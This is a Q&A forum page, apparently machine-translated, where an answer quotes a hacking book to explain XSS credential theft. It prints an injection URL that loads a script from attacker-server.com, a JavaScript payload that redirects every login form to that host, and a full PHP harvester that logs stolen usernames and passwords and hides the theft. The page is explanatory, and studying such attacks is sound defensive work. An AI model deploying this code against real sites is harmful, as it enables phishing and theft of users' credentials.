XSS attacks, how does it happen?

Question

XSS attacks, how does it happen?

Asked 10 years, 3 months ago

Viewed 2,380 times

16

Recently a client was the victim of XSS attacks. We handle all the faulty inputs, but I can’t understand how malicious javascript code was inserted into the files ". js" on the server.

How they changed the script via XSS?

1 answer

Browser other questions tagged javascript php security-guard xss

You are not signed in. Login or sign up in order to post.

by AndersonBS • **3,194** points · Answer 1 · 2014-03-28T15:11:04+00:00

The information below was taken from the book Hacking: The Next Generation.

Content Injection using Cross-Site Scripting (XSS)

Cramming the entire load of XSS into a chain of commands can be confusing and complicated. Most of the time, the attacker will have to perform a complicated charge to maximize the impact of the XSS attack. In such situations, the attacker may use external files Javascript to house the exploration loads. It does this by injecting a script instruction with a src attribute. The src attribute allows the attacker to specify an external Javascript file to be executed in the context of the domain hosting the web application that is vulnerable to XSS. When the injection of a script with a src attribute into an XSS code is inserted, attackers often store the external Javascript file on a web server that they control. A typical injection of an external script file using XSS would look something like this:

http://vulnerable-server.com/login.jsp?parameter="><script%20src="http://attacker-server.com/payload.js"></script>

When a reference to an external script is injected, the attacker has the option to store the entire scanning code load in the external script file (in this case, the file in http://attacker-server.com/payload.js). In this example, the attacker uses the external Javascript file to store the scanning code that scans the objects form from the login and change page form action for the user credentials to be transferred to the attacker’s web server. The following code shows the content of the external Javascript file payload.js:

for (i=0;i<document.forms.length;i++)
{
    var originalaction = document.forms[i].action;
    document.forms[i].action =
    "http://attacker-server.com/cred-thief.php?orig="+originalaction;
}

That load of code JavaScript lists all objects FORM, save the attribute FORM ACTION original and changes the attribute ACTION to point to the attacker’s web server. When the victim sends a form using the "Sign In" button on the login page that is vulnerable to XSS, their username and password are passed to the file cred-thief.php on the attacker’s web server. Once the attacker’s web server receives the victim’s credentials, it redirects the victim back to the original login page and automatically connects the victim to the app, masking the fact that their username and password were stolen. See the code for cred-thief.php:

<?php
// Is the orig parameter present?
if (isset($_GET['orig'])):

    // open the file for storing the stolen creds
    $fp = fopen("StolenCreds.txt", 'a');
    fwrite($fp, $_GET['orig']);

    // Create the initial HTML for the FORM with the
    // original URL for the ACTION
    echo "<html><body><form name='redirect' id='redirect'";
    echo " action='" . $_GET['orig'] . "' method='POST'>";

    // Loop through all the POST parameters stolen from the
    // original site and generate the correct form
    // elements and log the value to a text file
    foreach ($_POST as $var => $value) {
        echo "<input type='hidden' name='" . $var ."' value='" . $value ."'>";

        fwrite($fp,"var:".$var."  value:".$value."\r\n");

    }

    //complete the form and autosubmit the form using javascript
    echo "</form><script>document.redirect.submit()</script></body></html>";

else:
    //If orig is missing, redirect to back to the referring site
    header( 'Location: '. $HTTP_REFERER) ;

endif;

fclose($fp);
?>

The XSS vulnerabilities on login pages can be devastating. For example, if a banking site has an XSS exposure anywhere on your domain, a phisher sophisticated will be able to use the XSS vulnerability to take advantage of SSL (including Extended Validation SSL) and SSL filters phishing. Such pages of phishing will display all legitimate SSL certificates and are undetectable by filters phishing, even though they had a code for phishing. By using an XSS attack, as shown earlier, the potential phisher can steal credentials provided to banking sites, bypassing all current protection mechanisms against phishing.

I hope this text clarifies some procedures, for more information I recommend reading the whole chapter 2 of the book.